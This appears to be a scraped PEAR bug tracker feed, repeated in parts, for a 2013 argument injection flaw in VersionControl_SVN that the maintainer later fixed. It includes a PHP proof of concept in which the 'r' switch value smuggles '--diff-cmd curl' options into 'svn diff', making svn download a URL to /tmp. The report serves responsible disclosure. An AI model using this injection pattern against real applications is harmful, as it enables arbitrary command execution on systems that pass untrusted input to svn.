switch handling argument injection bugDescription:
------------
Hi,
I have found a smaller security issue in VersionControl_SVN.
Data in switches with values isn't quoted sufficiently before it is used for constructing
the command line. This can be abused to inject malicious arguments to svn
subcommands and execute arbitrary programs.
I have included a test script that injects data in the 'r' switch, in such a way that the
'svn diff' command will not diff anything but instead use curl to download data from a
specific URL to a specific path. If we imagine that this 'r' switch data is untrusted and
comes from a remote user, there might be a problem here. The bug will probably also
manifest itself in other places than 'r' and 'diff'.
I have also included a patch. It fixes the problem but I haven't tested it a lot so it might
break something else. Beware.
// Ulf Harnhammar
Test script:
---------------
<?php
require_once 'VersionControl/SVN.php';
$options = array('fetchmode' => VERSIONCONTROL_SVN_FETCHMODE_RAW); // otherwise diff gets confused
$svn = VersionControl_SVN::factory(array('checkout', 'diff'), $options);
$switches = array();
$args = array('http://plugins.svn.wordpress.org/simple-fields/trunk/'); // just any svn repo
$svn->checkout->run($args, $switches);
$fp = fopen('trunk/functions.php', 'a'); // change something, so diff/status finds changes
fputs($fp, "// unif\n");
fclose($fp);
$args2 = array('trunk');
$switches2 = array('r' => '648105 --diff-cmd curl --extensions "http://pear.php.net -o /tmp/peardata"');
// here we're injecting additional parameters to the "svn diff" command
// if the value for this 'r' switch comes from an untrusted source, this is a problem
$svn->diff->run($args2, $switches2);
// it will crash here, but if one looks at /tmp/peardata, one will see that it does contain the data
// from pear.php.net
Expected result:
----------------
It should check out one repo, add one line of data to a file, and then bug out with an error
message saying that the revision number is invalid.
Actual result:
--------------
It checks out one repo, adds one line of data to a file, tries to perform a "svn diff" but gets
sidetracked into downloading pear.php.net to /tmp/peardata instead, after which it
crashes.ulfharn
ulfharnhttp://pear.php.net/bugs/19776
VersionControl_SVN Bug
Reported by ulfharn
2013-01-05T06:21:51+00:00
PHP: 5.4.6 OS: Ubuntu 12.10 x64 Package Version: 0.5.0
Description:
------------
Hi,
I have found a smaller security issue in VersionControl_SVN.
Data in switches with values isn't quoted sufficiently before it is used for constructing
the command line. This can be abused to inject malicious arguments to svn
subcommands and execute arbitrary programs.
I have included a test script that injects data in the 'r' switch, in such a way that the
'svn diff' command will not diff anything but instead use curl to download data from a
specific URL to a specific path. If we imagine that this 'r' switch data is untrusted and
comes from a remote user, there might be a problem here. The bug will probably also
manifest itself in other places than 'r' and 'diff'.
I have also included a patch. It fixes the problem but I haven't tested it a lot so it might
break something else. Beware.
// Ulf Harnhammar
Test script:
---------------
<?php
require_once 'VersionControl/SVN.php';
$options = array('fetchmode' => VERSIONCONTROL_SVN_FETCHMODE_RAW); // otherwise diff gets confused
$svn = VersionControl_SVN::factory(array('checkout', 'diff'), $options);
$switches = array();
$args = array('http://plugins.svn.wordpress.org/simple-fields/trunk/'); // just any svn repo
$svn->checkout->run($args, $switches);
$fp = fopen('trunk/functions.php', 'a'); // change something, so diff/status finds changes
fputs($fp, "// unif\n");
fclose($fp);
$args2 = array('trunk');
$switches2 = array('r' => '648105 --diff-cmd curl --extensions "http://pear.php.net -o /tmp/peardata"');
// here we're injecting additional parameters to the "svn diff" command
// if the value for this 'r' switch comes from an untrusted source, this is a problem
$svn->diff->run($args2, $switches2);
// it will crash here, but if one looks at /tmp/peardata, one will see that it does contain the data
// from pear.php.net
Expected result:
----------------
It should check out one repo, add one line of data to a file, and then bug out with an error
message saying that the revision number is invalid.
Actual result:
--------------
It checks out one repo, adds one line of data to a file, tries to perform a "svn diff" but gets
sidetracked into downloading pear.php.net to /tmp/peardata instead, after which it
crashes.]]>VersionControl_SVN Bug
Reported by ulfharn
2013-01-05T06:21:51+00:00
PHP: 5.4.6 OS: Ubuntu 12.10 x64 Package Version: 0.5.0
Description:
------------
Hi,
I have found a smaller security issue in VersionControl_SVN.
Data in switches with values isn't quoted sufficiently before it is used for constructing
the command line. This can be abused to inject malicious arguments to svn
subcommands and execute arbitrary programs.
I have included a test script that injects data in the 'r' switch, in such a way that the
'svn diff' command will not diff anything but instead use curl to download data from a
specific URL to a specific path. If we imagine that this 'r' switch data is untrusted and
comes from a remote user, there might be a problem here. The bug will probably also
manifest itself in other places than 'r' and 'diff'.
I have also included a patch. It fixes the problem but I haven't tested it a lot so it might
break something else. Beware.
// Ulf Harnhammar
Test script:
---------------
<?php
require_once 'VersionControl/SVN.php';
$options = array('fetchmode' => VERSIONCONTROL_SVN_FETCHMODE_RAW); // otherwise diff gets confused
$svn = VersionControl_SVN::factory(array('checkout', 'diff'), $options);
$switches = array();
$args = array('http://plugins.svn.wordpress.org/simple-fields/trunk/'); // just any svn repo
$svn->checkout->run($args, $switches);
$fp = fopen('trunk/functions.php', 'a'); // change something, so diff/status finds changes
fputs($fp, "// unif\n");
fclose($fp);
$args2 = array('trunk');
$switches2 = array('r' => '648105 --diff-cmd curl --extensions "http://pear.php.net -o /tmp/peardata"');
// here we're injecting additional parameters to the "svn diff" command
// if the value for this 'r' switch comes from an untrusted source, this is a problem
$svn->diff->run($args2, $switches2);
// it will crash here, but if one looks at /tmp/peardata, one will see that it does contain the data
// from pear.php.net
Expected result:
----------------
It should check out one repo, add one line of data to a file, and then bug out with an error
message saying that the revision number is invalid.
Actual result:
--------------
It checks out one repo, adds one line of data to a file, tries to perform a "svn diff" but gets
sidetracked into downloading pear.php.net to /tmp/peardata instead, after which it
crashes.]]>2013-01-05T06:21:51+00:00
mrook [2013-01-19 21:15] http://pear.php.net/bugs/19776#1358630126
<div id="changeset">
<span class="removed">-Status: Open</span>
<span class="added">+Status: Closed</span>
<span class="removed">-Assigned To:</span>
<span class="added">+Assigned To: mrook</span>
</div>This bug has been fixed in SVN.
If this was a documentation problem, the fix will appear on pear.php.net by the end of next Sunday (CET).
If this was a problem with the pear.php.net website, the change should be live shortly.
Otherwise, the fix will appear in the package's next release.
Thank you for the report and for helping us make PEAR better.]]><div id="changeset">
<span class="removed">-Status: Open</span>
<span class="added">+Status: Closed</span>
<span class="removed">-Assigned To:</span>
<span class="added">+Assigned To: mrook</span>
</div>This bug has been fixed in SVN.
If this was a documentation problem, the fix will appear on pear.php.net by the end of next Sunday (CET).
If this was a problem with the pear.php.net website, the change should be live shortly.
Otherwise, the fix will appear in the package's next release.
Thank you for the report and for helping us make PEAR better.]]>2013-01-19T21:15:26+00:00
mrook [2013-01-17 12:34] http://pear.php.net/bugs/19776#1358426084
<div id="changeset">
<span class="removed">-Status: Open</span>
<span class="added">+Status: Assigned</span>
<span class="removed">-Roadmap Versions:</span>
<span class="added">+Roadmap Versions: 0.5.1</span>
</div>]]><div id="changeset">
<span class="removed">-Status: Open</span>
<span class="added">+Status: Assigned</span>
<span class="removed">-Roadmap Versions:</span>
<span class="added">+Roadmap Versions: 0.5.1</span>
</div>]]>2013-01-17T12:34:44+00:00
ulfharn [2013-01-05 06:24] http://pear.php.net/bugs/19776#1357367097
Added #patch bug:19776;patch:secu.patch;revision:1357349097;.]]>Added #patch bug:19776;patch:secu.patch;revision:1357349097;.]]>2013-01-05T06:24:57+00:00